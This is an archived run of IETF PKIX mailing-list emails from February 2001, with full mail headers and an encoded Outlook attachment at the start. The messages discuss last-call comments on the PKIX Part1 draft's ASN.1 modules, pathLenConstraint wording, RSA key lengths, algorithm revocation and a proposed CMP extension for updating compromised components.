ABEABQAaAQEJgAEAIQAAADkzNDBBMUM3RTQyRDg3NENCOEYyNjE1QjVEQUU0RkQwAE4HAQOQBgCw
BgAAJgAAAAMAJgAAAAAAAwA2AAAAAABAADkAAFfR1OOdwAEeAD0AAQAAAAUAAABSZTogAAAAAB4A
cAABAAAAGQAAAFBhcnQxIGxhc3QgY2FsbCBjb21tZW50cwAAAAACAXEAAQAAABYAAAABwJ3kqZ4T
P3IoiZ1Oz6a27JekUuqOAAAeABoMAQAAABMAAABQYXVsIEhvZmZtYW4gLyBJTUMAAB4AHQ4BAAAA
GQAAAFBhcnQxIGxhc3QgY2FsbCBjb21tZW50cwAAAAACAQkQAQAAAEgCAABEAgAATwMAAExaRnVP
D9bZAwAKAHJjcGcxMjXiMgNDdGV4BUEBAwH3/wqAAqQD5AcTAoAP8wBQBFY/CFUHshElDlEDAQIA
Y2jhCsBzZXQyBgAGwxEl9jMERhO3MBIsETMI7wn3tjsYHw4wNREiDGBjAFAzCwkBZDM2FlALpiBU
eGhlIAtgAkASgRQRINBvZiBKB3AnBCAFoE5tB4ACMAQgc2gIYGzyZB5gYXUUEB2QA3AdEJsHQArA
bR3QA6B0aAQACwrjCoBsBAB0LiBJ4QVAYXBwZRPxIKEdQAMgoR0QQVNOLjEgLwRhHzAHkRPgdh0Q
bm+dBUBiCeEeYB0AY2sJgGQsIA7AY2UFMiETYo55HgIGABPRYWQuIQTnIQQhwQQAbich0wNgKHDn
BzAOsCCgbyAKsAQRILPDIIIpIElFVEYdISGAtR9hbAMgdQIwAxF3HRB/I+MhBCKRI6AqogIgHRAo
rwBwH1AfECIQZh8wbCYw0HR3bykpMGUokCOg/yPUJAAGgQiQH1Aggx0RIXH/IPUicyIgE9Ad0iLC
I2spQmcvoSCwA2B1ZzFwIsFp/wXAIwQvRSJBIQQD8CCwJCH9JUByA2AUACGjLkAfMiRwnyQgDeAd
EAaQIBBueS0C9S9DeQuAZzG7IQQFoB8y+zBDIsJ3CsADADigIlgz8U8KsRQQIkEjgG1wHdB1YyGQ
JwotLVAfgAMgSO8d4ARQAHAlMEQz8AWQKRC6cj2WSQIwBJEdsU0LcG8DIAhQAIAXwWk8sCEEfQFB
4B4ANRABAAAAKQAAADxwMDUwMTA0MzdiNmJjOGEzMTVlOTlAWzIwNy4xODIuNDYuMTYxXT4AAAAA
HgBFEAEAAAAyAAAAbWFpbHRvOmlldGYtcGtpeC1yZXF1ZXN0QGltYy5vcmc/Ym9keT11bnN1YnNj
cmliZQAAAAsA8hABAAAAHwDzEAEAAABGAAAAUgBlACUAMwBBACAAUABhAHIAdAAxACAAbABhAHMA
dAAgAGMAYQBsAGwAIABjAG8AbQBtAGUAbgB0AHMALgBFAE0ATAAAAAAACwD2EAAAAABAAAcwULCe
qeSdwAFAAAgwxNamtOSdwAEDAN4/n04AAAMA3z//////AwDxPwAAAAAeAPg/AQAAACQAAABJbnRl
cm5ldCBNYWlsIFNlcnZpY2UgKElORVQtSU1DLTA0KQACAfk/AQAAAIIAAAAAAAAA3KdAyMBCEBq0
uQgAKy/hggEAAAAAAAAAL089TUlDUk9TT0ZUL09VPU5PUlRIQU1FUklDQS9DTj1DT05GSUdVUkFU
SU9OL0NOPUNPTk5FQ1RJT05TL0NOPUlOVEVSTkVUIE1BSUwgQ09OTkVDVE9SIChJTkVULUlNQy0w
NCkAAAAeAPo/AQAAABUAAABTeXN0ZW0gQWRtaW5pc3RyYXRvcgAAAAACAfs/AQAAAB4AAAAAAAAA
3KdAyMBCEBq0uQgAKy/hggEAAAAAAAAALgAAAAMA/T//DgAAAwAZQAAAAQADABpAAAABAB4AMEAB
AAAAEQAAAHBob2ZmbWFuQGltYy5vcmcAAAAAHgAxQAEAAAARAAAAcGhvZmZtYW5AaW1jLm9yZwAA
AAAeADhAAQAAACYAAABJTlRFUk5FVCBNQUlMIENPTk5FQ1RPUiAoSU5FVC1JTUMtMDQpAAAAHgA5
QAEAAAACAAAALgAAAAsAKQAAAAAACwAjAAAAAAADAAYQYGYAgwMABxCnAQAAAwAQEAAAAAADABEQ
AAAAAB4ACBABAAAAZQAAAFRIRUxBVFRFUlNFVE9GSklNU0NPTU1FTlRTU0hPVUxEQ0FVU0VTT01F
QUxBUk1PTlRISVNMSVNUSVRBUFBFQVJTVEhBVFRIRUFTTjFNT0RVTEVTSEFWRU5PVEJFRU5DSEVD
S0UAAAAAAgF/AAEAAAApAAAAPHAwNTAxMDQzN2I2YmM4YTMxNWU5OUBbMjA3LjE4Mi40Ni4xNjFd
PgAAAABFng==

------_=_NextPart_001_01C09DE4.A902A100--


Received: from [207.182.46.161] (ip20.proper.com [165.227.249.20]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA13906; Fri, 23 Feb 2001 13:59:22 -0800 (PST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010437b6bc8a315e99@[207.182.46.161]>
In-Reply-To: <001701c09db5$c35eb860$[e-mail]>
References: <001701c09db5$c35eb860$[e-mail]>
Date: Fri, 23 Feb 2001 13:59:02 -0800
To: <[e-mail]>, "Tim Polk \(E-mail\)" <[e-mail]>, "Russ Housley \(E-mail\)" <[e-mail]>
From: Paul Hoffman / IMC <[e-mail]>
Subject: Re: Part1 last call comments
Cc: "IETF-PKIX \(E-mail\)" <[e-mail]>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

The latter set of Jim's comments should cause some alarm on this 
list. It appears that the ASN.1 modules have not been checked, except 
by Jim Schaad.

It isn't appropriate to pass this on to IETF last call until we have 
at least one (and hopefully two) people have verified on the list 
that each of the modules have passed through their ASN.1 verifiers 
with no errors. It would be nice if anyone verifying the modules 
could list the warnings that their parsers dump out.

--Paul Hoffman, Director
--Internet Mail Consortium


Received: from stingray.missi.ncsc.mil (stingray.missi.ncsc.mil [144.51.50.20]) by above.proper.com (8.9.3/8.9.3) with ESMTP id KAA03265 for <[e-mail]>; Fri, 23 Feb 2001 10:16:51 -0800 (PST)
Received: from stingray.missi.ncsc.mil (root@localhost) by stingray.missi.ncsc.mil with ESMTP id NAA15245 for <[e-mail]>; Fri, 23 Feb 2001 13:16:23 -0500 (EST)
Message-Id: <[e-mail]>
Date: Fri, 23 Feb 2001 13:16:26 -0500 (EST)
From: "David P. Kemp" <[e-mail]>
Reply-To: "David P. Kemp" <[e-mail]>
Subject: Re: Open Issue in Part1: path length constraints
To: [e-mail]
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: OOwBIvL+ASLC9YKBk/rurA==
X-Mailer: dtmail 1.3.0 CDE Version 1.3 SunOS 5.7 sun4u sparc

Steve,


> From: Steve Hanna <[e-mail]>
> 
> The original text said:
> 
>    The pathLenConstraint field is meaningful only if cA is set to TRUE.
>    In this case, it gives the maximum number of CA certificates that may
>    follow this certificate in a certification path. A value of zero
>    indicates that only an end-entity certificate may follow in the path.
> 
> The revised text says:
> 
>    The pathLenConstraint field is meaningful only if cA is set to TRUE.
>    In this case, it gives the maximum number of CA certificates that may
>    follow this certificate in a certification path. (Note: One end-
>    entity certificate will follow the final CA certificate in the path.
>    The last certificate in a path is considered an end-entity
>    certificate, whether the subject of the certificate is a CA or not.)
>    A pathLenConstrinat of zero indicates that only an end-entity
>    certificate may follow in the path.
> 
> I find it odd to say that a certificate with cA=TRUE is a CA certificate
> *unless* it is the last certificate in a path. I suppose this is only a
> wording problem, but I find this wording *less* clear than the old
> wording.


The oddness arises because you are applying the label "CA certificate"
to the certificate based on its contents instead of its usage.

If a certificate contains cA=TRUE and
keyCertSign=cRLSign=digitalSignature=1, then it can be used for more
than one purpose.  It is a CA certificate when validating the signature
of a certificate, and it is an EE certificate when validating the
signature of a CRL or a message.  (A CA should not use a cert-signing
private key to sign correspondence, but X.509 doesn't prohibit unhygenic
practices.)

X.509 says of the Basic Constraints extension: "the cA component
indicates if the certified public key may be used to verify
certificate signatures."    It does not indicate that the public
key may not be used to verify other (CRL, message) signatures.

I believe the parenthetical note in the revised text is helpful,
but it would read better if it were at the end:

    The pathLenConstraint field is meaningful only if cA is set to
    TRUE.  In this case, it gives the maximum number of CA certificates
    that may follow this certificate in a certification path.
    A pathLenConstraint of zero indicates that only an end-entity
    certificate may follow in the path.  (Note: One end-entity
    certificate will follow the final CA certificate in the path.
    The last certificate in a path is an end-entity certificate,
    whether the subject of the certificate is a CA or not.)

(The last certificate in a path is not just "considered" an
end-entity certificate, it is one.  Proof by construction.)



Received: from mailout05.sul.t-online.com (mailout05.sul.t-online.com [194.25.134.82]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA00221 for <[e-mail]>; Fri, 23 Feb 2001 09:24:56 -0800 (PST)
Received: from fwd00.sul.t-online.com  by mailout05.sul.t-online.com with smtp  id 14WLxh-0001uW-0B; Fri, 23 Feb 2001 18:24:57 +0100
Received: from junker.ms.inka.de (520010731148-0001@[217.1.21.189]) by fwd00.sul.t-online.com with esmtp id 14WLxO-0O2g7sC; Fri, 23 Feb 2001 18:24:38 +0100
Received: from stroeder.com (localhost [127.0.0.1]) by junker.ms.inka.de (Postfix) with ESMTP id D53C267C5F for <[e-mail]>; Fri, 23 Feb 2001 18:24:40 +0100 (CET)
Sender: [e-mail]
Message-ID: <[e-mail]>
Date: Fri, 23 Feb 2001 18:24:39 +0100
From: [e-mail] (Michael =?iso-8859-1?Q?Str=F6der?=)
Organization: stroeder.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: de-DE, de, en
MIME-Version: 1.0
To: [e-mail]
Subject: Re: multiple digitale signatures
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Sender: [e-mail]

Peter Gutmann wrote:
> 
> It's quite possible that all this extra cruft will
> greatly decrease security rather than providing any
> measurable increase.

I agree with that.

Ciao, Michael.


Received: from femail3.sdc1.sfba.home.com (femail3.sdc1.sfba.home.com [24.0.95.83]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA27379 for <[e-mail]>; Fri, 23 Feb 2001 08:27:35 -0800 (PST)
Received: from revelation ([65.4.166.11]) by femail3.sdc1.sfba.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20010223162522.ZTED11050.femail3.sdc1.sfba.home.com@revelation>; Fri, 23 Feb 2001 08:25:22 -0800
Reply-To: <[e-mail]>
From: "Jim Schaad" <[e-mail]>
To: "Tim Polk \(E-mail\)" <[e-mail]>, "Russ Housley \(E-mail\)" <[e-mail]>
Cc: "IETF-PKIX \(E-mail\)" <[e-mail]>
Subject: Part1 last call comments
Date: Fri, 23 Feb 2001 08:29:14 -0800
Message-ID: <001701c09db5$c35eb860$[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

1.  Section 4.2.2.2 - Do you consider the reference to PKIX TSA to be
nomative or not?  I would not recommend this for progression of the part1
draft.

2.  Section 4.2.2.2 - "the Time STamp" should be "the Time Stamp"

3.  Section 4.2.2.2 - Recommend moving the defintion of id-ad-caRepository
to implicit ASN.1 module since that is where accessLocation is located.

4. Section 3.3 - Minor point,  in paragraph 4 - This should be "until all
existing CRLs expires" rather than "until the next periodic CRL update".  A
CRL may be valid for more than one issue period (i.e. issue every 12 hours,
expire after 24 hours).

5.  ASN Module A.1:  Do not have a new module OID for this.

6.  A.1:
                   X520SerialNumber        PrintableString (SIZE
(1..ub-serial-number))
      replace with
                   X520SerialNumber        ::= PrintableString (SIZE
(1..ub-serial-number))

7. Section A.1
                   id-domainComponent      AttributeType ::=
id-domainComponent
     replace with
                   id-domainComponent      AttributeType ::=
 id-domainComponent }

8.  ASN Module A.2:  Do not have a new module OID for this.

9.  Section A.2
                anyPolicy OBJECT IDENTIFIER ::= {id-ce-certificate-policies
0}
      replace with
                anyPolicy OBJECT IDENTIFIER ::= {id-ce-certificatePolicies
0}
      (or fix the previous line)



----------------   Algorithm Draft

ASN Module:
Fix:
   PKIX1Algorithms88 { tbd }

Replace
            cofactor  INTEGER  OPTIONAL,         -- The integer h = #E(Fq)/n
With
            cofactor  INTEGER  OPTIONAL          -- The integer h = #E(Fq)/n


------------------ Random

part1-algs.asn(3) : warning XXXXX: Module PKIX1Algorithms88 does not have an
OID assigned to it

 --- single name would be nice but not necessary.  In the case of pkcs-9
however there should be a harmonization plan.

rfc2630.asn(254) : warning XXXXX: Arc naming collision between x9algorithm
and x9cm
	Conflicts with what's in Algorithms draft
rfc2630.asn(262) : warning XXXXX: Oid value assigned to multiple symbols:
'dh-public-number' and 'dhpublicnumber'
	Conflicts with what's in Algorithms draft
rfc2634.asn(204) : warning XXXXX: Arc naming collision between pkcs-9 and
pkcs9
	Conflicts with what's in Part1 A.1



Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA23013 for <[e-mail]>; Fri, 23 Feb 2001 07:44:30 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id EAA02720 for <[e-mail]>; Sat, 24 Feb 2001 04:44:30 +1300 (NZDT) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98294307014839>; Sat, 24 Feb 2001 04:44:30 (NZDT)
From: [e-mail] (Peter Gutmann)
To: [e-mail]
Subject: RE: multiple digitale signatures
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Sat, 24 Feb 2001 04:44:30 (NZDT)
Message-ID: <[e-mail]>

"Bland, Graham" <[e-mail]> writes:

>What about my extension to two protocols and two Crypto Libraries to cover the
>compromise of these?

Actually you'd need at least three to recover from Byzantine faults (cancelling
a secure algorithm to force people to move to a less secure one would make for
a really nice attack).  It's quite possible that all this extra cruft will
greatly decrease security rather than providing any measurable increase.

Peter.




Received: from claudio.bib.co.uk (gateway.bib.co.uk [195.171.24.2]) by above.proper.com (8.9.3/8.9.3) with SMTP id DAA03127 for <[e-mail]>; Fri, 23 Feb 2001 03:18:24 -0800 (PST)
Received: from 127.0.0.1 by claudio.bib.co.uk (InterScan E-Mail VirusWall NT); Fri, 23 Feb 2001 11:17:22 -0000 (GMT Standard Time)
Received: by claudio with Internet Mail Service (5.5.2653.19) id <14713X18>; Fri, 23 Feb 2001 11:17:22 -0000
Message-ID: <36086CC80304D3119B040008C75DF5960494348F@claudio>
From: "Bland, Graham" <[e-mail]>
To: =?iso-8859-1?Q?=27S=F6nke_Maseberg=27?= <[e-mail]>
Cc: [e-mail]
Subject: RE: multiple digitale signatures
Date: Fri, 23 Feb 2001 11:17:21 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id DAA03131

Sonke,

> -----Original Message-----
> From: Sönke Maseberg [mailto:[e-mail]]
> Sent: 23 February 2001 10:14
> To: Bland, Graham
> Cc: [e-mail]
> Subject: Re: multiple digitale signatures
> 
> 
> Graham,
> 
> > If we accept these risks and guard against them then 
> obviously I cannot
> > trust a compromised protocol to report on its own 
> compromise so logically I
> > must implement two different protocols simultaneously which both use
> > multiple algorithms which are independently passed through 
> two separate
> > implementations!
> 
> That is exactly what we want to do: two independent signature 
> algorithms. Is one
> compromised, the other will work securely and is able to 
> repair the compromised
> one.
> 

What about my extension to two protocols and two Crypto Libraries to cover
the compromise of these?

> > I do not know current practice within for example Identrus 
> on key lengths
> > but anybody correct me if I am wrong. The banks I am sure 
> are not routinely
> > using 4096 bit RSA keys even though these are much stronger 
> than 2048/1024
> > bits and are less likely to be broken.  The reason is that 
> they have made a
> > trade off between cost and security.  Any system must be 
> adequately secured
> > for the business purposes to which it is put. Any higher 
> security than this
> > is an unnecessary expense, it just gets interesting when defining
> > 'adequate'.
> >
> > Anything which adds to the cost of a system, which this 
> does by increasing
> > the complexity, must be justified by the value it adds. I 
> do not believe it
> > does in this case.
> 
> Yes, it is a question between cost and security. If the risks 
> are known and
> accepted then IMHO the companies will pay for it.
> 
> But again, do you mean that such an extension in CMP as I 
> proposed would be
> possible? I think on interoperational and migration matters: 
> If a user system
> receive a CMP PKIBody with tag [25] and cannot interpret it, 
> the system will
> reject this tag.
> 

In order to determine if it is possible I must have a bit more detail:

Please define Infocode, this is an OID that is interpreted by the software,
What is the software and what are the possible interpretations, if existing
software is to understand these codes then they must have predefined
meanings.  How does Infocode relate to the relevantID?

Does the use of freetext imply that the user is informed, can the user
influence anything or is this just a message to be displayed.  As this will
be permanently in the 

relevantID,  This identifies compromised components, I presume these would
be defined for all cryptographic algorithms with a range of key lengths and
protocols, presumably separate ones for any possible options would be needed
for example SSL with and without client authentication.  Who is going to be
responsible for allocating these OIDs?

newID identifies a new component, is this intended to instruct a system to
dynamically reconfigure itself? Again does the software have to understand
these OIDS, if so all possible new components must be predefined.

code, are you suggesting that this is the executable code to be used as the
new components referenced by newID or have I misread this completely.  If
this was intended to be the code then OS details etc are required as this
would be different for NT and Solaris systems.  All possible variants must
be included in the message

Once this extension has been sent what happens next, must it be permanently
left in place for any new users to read, is it removed after a period of
time or do all users acknowledge somehow that they have received it?
Certificates expire and can be removed from a CRL, these would never expire.

What happens if my system does not support RSA 4096 when this is mandated,
do I shut down?

Does this apply to other protocols, for example must I throw away all RSA
512 bit PGP keys when this is revoked within a PKI?

Graham

> Sönke
> 
> > To support Standards of PKIX as well, we ask for some 
> discussions about an
> > extension in CMP (PKIX - Certificate Management Protocols)
> > [<draft-ietf-pkix-rfc2510bis-02.txt>, November, 2000, Appendix F]:
> >
> >      PKIBody  ::=  CHOICE  {
> >         ...
> >         compUpdate [25]  UpdateData,    -- Extension for 
> Components Update
> >         }
> >
> >      UpdateData  ::=  SEQUENCE  {
> >        infoCode    OBJECT IDENTIFIER,
> >        freeText    UTF8String                 OPTIONAL,
> >        relevantID  SET OF ApplicationIdentifier,
> >        newID       AlgorithmIdentifier        OPTIONAL,
> >        code        BIT STRING                 OPTIONAL
> >        }
> >
> > UpdateData has the following meanings:
> > infoCode      a code that is interpreted by the software
> > freeText      readable text for the user
> > relevantID    Identifier of compromised components
> > newID         Identifier of new components
> > code          code of new components
> >
> 
_______________________________________________________________________

This message is confidential and is intended for the addressee only;
unless clearly stated that this disclaimer should not apply, this 
e-mail is not intended to create legally binding commitments on 
behalf of any company in the British Interactive Broadcasting 
Holdings Limited group,  nor do its contents reflect the corporate 
views or policies of any such company. Any unauthorised disclosure, 
use or dissemination, either whole or partial, is prohibited. If you 
are not the intended recipient of the message, please notify the
sender immediately.
_______________________________________________________________________


Received: from certplus.com (facteur.certplus.com [195.101.88.81]) by above.proper.com (8.9.3/8.9.3) with ESMTP id DAA02005 for <[e-mail]>; Fri, 23 Feb 2001 03:10:21 -0800 (PST)
Received: from certplus.com ([192.168.212.178]) by certplus.com (8.11.2/8.11.2) with ESMTP id f1NB9vc23890 for <[e-mail]>; Fri, 23 Feb 2001 12:09:57 +0100
Message-ID: <[e-mail]>
Date: Fri, 23 Feb 2001 12:09:42 +0100
From: Jean-Marc Desperrier <[e-mail]>
Organization: Certplus
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: [e-mail]
Subject: Re: multiple digitale signatures
References: <36086CC80304D3119B040008C75DF5960494348D@claudio>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

"Bland, Graham" wrote:

> The banks I am sure are not routinely
> using 4096 bit RSA keys even though these are much stronger than 2048/1024
> bits and are less likely to be broken.

Are they ?

In the current state of technology and knowledge, you will need huge ressources
to break 1024 keys, but not huge enough to have the strong security margin that
would garanty there is no risk they will be broken within say 10 years.

Now if you take a key of 2048, this is doubling the length, this time the
ressources that you will need will be absolutely impressive, and clearly not
something that will be reached within a reasonnable time-frame.

If we are there to see a key size of 2048 broken, that quite probably will mean
someone has succeeded in proving the RSA algorythm to be much weaker than
believed currently, that he has found a method for resolution of RSA that
strongly lowers the complexity of the problem (complexity in the mathematical
meaning the increase of ressource needed to break a key with regard to the
increase of the key size) and _if_ there's such a fail in the RSA algorythm,
then even a 4096 key might not be that much more secure than a 2048.



Received: from sysiphos.maz-hh.de (sysiphos.maz-hh.de [192.109.56.14]) by above.proper.com (8.9.3/8.9.3) with ESMTP id CAA29715 for <[e-mail]>; Fri, 23 Feb 2001 02:57:22 -0800 (PST)
Received: from hora.timeproof.de (timegate.maz-hh.de [192.109.56.29]) by sysiphos.maz-hh.de (8.9.3/8.9.3) with ESMTP id LAA24764; Fri, 23 Feb 2001 11:57:14 +0100 (MET)
Received: from timeproof.de (pc107 [192.168.111.107]) by hora.timeproof.de (8.9.3+Sun/8.9.3) with ESMTP id LAA13635; Fri, 23 Feb 2001 11:57:11 +0100 (MET)
Message-ID: <[e-mail]>
Date: Fri, 23 Feb 2001 11:59:17 +0100
From: Joerg Seidel <[e-mail]>
Organization: timeproof
X-Mailer: Mozilla 4.76 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: =?iso-8859-1?Q?S=F6nke?= Maseberg <[e-mail]>
CC: [e-mail]
Subject: Re: Algorithm revocation
References: <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Soenke,

Sönke Maseberg wrote:
> > > The problem of timestamps occurs if they uses the compromised signature
> > > algorithm too.
> >
> > timestamp should be logged for this reason. This avoids the problems with
> > the signature algorithm.
> >
> IMO logging transfers the problem only. How do you protect the logged data?
> With breaking of the media ('Medien-Bruch')?

It is an additional security layer. Logged data can be secured by securing the
access, by using WORM devices and/or by using interlinked lists. If you would
like to have a secure system, you would better not relay on security feature
(eg. digital signature) but use other independent security measures.

If one of the layers fails the other can help...

Joerg
-- 
__________________________________________________________________

Jörg Seidel                             phone  [phone]
Director Technology                     fax    [phone]
timeproof GmbH                          
Harburger Schloßstraße 6-12             mailto:[e-mail]
DE 21079 Hamburg                        http://www.timeproof.de
__________________________________________________________________


Received: from mout1.freenet.de ([e-mail] [194.97.50.132]) by above.proper.com (8.9.3/8.9.3) with ESMTP id CAA26448 for <[e-mail]>; Fri, 23 Feb 2001 02:12:40 -0800 (PST)
Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout1.freenet.de with esmtp (Exim 3.22 #1) id 14WFDL-0006bX-00; Fri, 23 Feb 2001 11:12:39 +0100
Received: from a6150.pppool.de ([213.6.97.80] helo=darmstadt.gmd.de) by mx0.freenet.de with esmtp (Exim 3.22 #1) id 14WFDK-0004X3-00; Fri, 23 Feb 2001 11:12:38 +0100
Message-ID: <[e-mail]>
Date: Fri, 23 Feb 2001 11:14:10 +0100
From: =?iso-8859-1?Q?S=F6nke?= Maseberg <[e-mail]>
X-Mailer: Mozilla 4.7 [de] (Win95; I)
X-Accept-Language: de,en
MIME-Version: 1.0
To: "Bland, Graham" <[e-mail]>
CC: [e-mail]
Subject: Re: multiple digitale signatures
References: <36086CC80304D3119B040008C75DF5960494348D@claudio>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Graham,

> If we accept these risks and guard against them then obviously I cannot
> trust a compromised protocol to report on its own compromise so logically I
> must implement two different protocols simultaneously which both use
> multiple algorithms which are independently passed through two separate
> implementations!

That is exactly what we want to do: two independent signature algorithms. Is one
compromised, the other will work securly and is able to repair the compromised
one.

> I do not know current practice within for example Identrus on key lengths
> but anybody correct me if I am wrong. The banks I am sure are not routinely
> using 4096 bit RSA keys even though these are much stronger than 2048/1024
> bits and are less likely to be broken.  The reason is that they have made a
> trade off between cost and security.  Any system must be adequately secured
> for the business purposes to which it is put. Any higher security than this
> is an unnecessary expense, it just gets interesting when defining
> 'adequate'.
>
> Anything which adds to the cost of a system, which this does by increasing
> the complexity, must be justified by the value it adds. I do not believe it
> does in this case.

Yes, it is a question between cost and security. If the risks are known and
accepted then IMHO the companies will pay for it.

But again, do you mean that such an extension in CMP as I proposed would be
possible? I think on interoperational and migration matters: If a user system
receive a CMP PKIBody with tag [25] and cannot interpret it, the system will
reject this tag.

Sönke

> To support Standards of PKIX as well, we ask for some discussions about an
> extension in CMP (PKIX - Certificate Management Protocols)
> [<draft-ietf-pkix-rfc2510bis-02.txt>, November, 2000, Appendix F]:
>
>      PKIBody  ::=  CHOICE  {
>         ...
>         compUpdate [25]  UpdateData,    -- Extension for Components Update
>         }
>
>      UpdateData  ::=  SEQUENCE  {
>        infoCode    OBJECT IDENTIFIER,
>        freeText    UTF8String                 OPTIONAL,
>        relevantID  SET OF ApplicationIdentifier,
>        newID       AlgorithmIdentifier        OPTIONAL,
>        code        BIT STRING                 OPTIONAL
>        }
>
> UpdateData has the following meanings:
> infoCode      a code that is interpreted by the software
> freeText      readable text for the user
> relevantID    Identifier of compromised components
> newID         Identifier of new components
> code          code of new components
>



Received: from mout1.freenet.de ([e-mail] [194.97.50.132]) by above.proper.com (8.9.3/8.9.3) with ESMTP id BAA19799 for <[e-mail]>; Fri, 23 Feb 2001 01:11:02 -0800 (PST)
Received: from [194.97.50.144] (helo=mx1.freenet.de) by mout1.freenet.de with esmtp (Exim 3.22 #1) id 14WEFg-00079L-00; Fri, 23 Feb 2001 10:11:00 +0100
Received: from a5ff6.pppool.de ([213.6.95.246] helo=darmstadt.gmd.de) by mx1.freenet.de with esmtp (Exim 3.22 #1) id 14WEFg-0004y5-00; Fri, 23 Feb 2001 10:11:00 +0100
Message-ID: <[e-mail]>
Date: Fri, 23 Feb 2001 10:12:44 +0100
From: =?iso-8859-1?Q?S=F6nke?= Maseberg <[e-mail]>
X-Mailer: Mozilla 4.7 [de] (Win95; I)
X-Accept-Language: de,en
MIME-Version: 1.0
To: Joerg Seidel <[e-mail]>
CC: [e-mail]
Subject: Re: Algorithm revocation
References: <[e-mail]> <[e-mail]> <[e-mail]>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Joerg,

IMO logging transfers the problem only. How do you protect the logged data? With
breaking of the media ('Medien-Bruch')?

Sönke

Joerg Seidel schrieb:

> Hi,
>
> Soenke Maseberg wrote:
> > > However, signed timestamp pyramiding ought to protect against later
> > > compromises of algorithms which are not believed to be questionable at the
> > > time of the OCSP check.
> >
> > The problem of timestamps occurs if they uses the compromised signature
> > algorithm too.
>
> timestamp should be logged for this reason. This avoids the problems with the
> signature algorithm.
>
> Jörg
> --
> __________________________________________________________________
>
> Jörg Seidel                             phone  [phone]
> Director Technology                     fax    [phone]
> timeproof GmbH
> Harburger Schloßstraße 6-12             mailto:[e-mail]
> DE 21079 Hamburg                        http://www.timeproof.de
> __________________________________________________________________



Received: from mout1.freenet.de ([e-mail] [194.97.50.132]) by above.proper.com (8.9.3/8.9.3) with ESMTP id BAA19471 for <[e-mail]>; Fri, 23 Feb 2001 01:07:54 -0800 (PST)
Received: from [194.97.50.144] (helo=mx1.freenet.de) by mout1.freenet.de with esmtp (Exim 3.22 #1) id 14WECT-0006qe-00; Fri, 23 Feb 2001 10:07:41 +0100
Received: from a5ff6.pppool.de ([213.6.95.246] helo=darmstadt.gmd.de) by mx1.freenet.de with esmtp (Exim 3.22 #1) id 14WECS-0004NL-00; Fri, 23 Feb 2001 10:07:41 +0100
Message-ID: <[e-mail]>
Date: Fri, 23 Feb 2001 10:09:25 +0100
From: =?iso-8859-1?Q?S=F6nke?= Maseberg <[e-mail]>
X-Mailer: Mozilla 4.7 [de] (Win95; I)
X-Accept-Language: de,en
MIME-Version: 1.0
To: jim <[e-mail]>
CC: "Bland, Graham" <[e-mail]>, [e-mail]
Subject: Re: multiple digitale signatures
References: <36086CC80304D3119B040008C75DF5960494348A@claudio> <[e-mail]> <[e-mail]>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Jim,

what I mean by proofable secure signature algorithm is a mathematical proof for its
correctness. Please show me a signature algorithm and the mathematical proof that it is
not possible
- to calculate private key from knowledge of public key,
- to calculate private key from knowledge of public key and some signatures
- to calculate private key from knowledge of public key and some signatures with the
signed document,
- to generate a valid signature from other signatures or
- to change a document without change of the signature (compromise of the hashfunction)
IMHO there is only experience that the signature algorithms are suitable for signature
creation but no proof.

Sönke


jim schrieb:

> Sonke,
>     I am not sure what you mean by proofable secure.  Please clarify.  If you mean
> that it is not by itself secure and therefore proof of its secureness cannot be
> verified after the fact, then I do understand, but if you are saying that signatures
> are inherently not able to provide proof of the authenticity of the signee, then
> that is the reason that many CP and CPSs require the use of encryption any time
> something is going to be signed.  In this manner, the encryption outer wrapping
> protects the integrity of the signature providing proofability of the authenticity
> of the signature.  IMHO, both have to be there.
> Jim
>



Received: from claudio.bib.co.uk (gateway.bib.co.uk [195.171.24.2]) by above.proper.com (8.9.3/8.9.3) with SMTP id AAA13777 for <[e-mail]>; Fri, 23 Feb 2001 00:24:18 -0800 (PST)
Received: from 127.0.0.1 by claudio.bib.co.uk (InterScan E-Mail VirusWall NT); Fri, 23 Feb 2001 08:23:13 -0000 (GMT Standard Time)
Received: by claudio with Internet Mail Service (5.5.2653.19) id <14713V47>; Fri, 23 Feb 2001 08:23:13 -0000
Message-ID: <36086CC80304D3119B040008C75DF5960494348D@claudio>
From: "Bland, Graham" <[e-mail]>
To: =?iso-8859-1?Q?=27S=F6nke_Maseberg=27?= <[e-mail]>
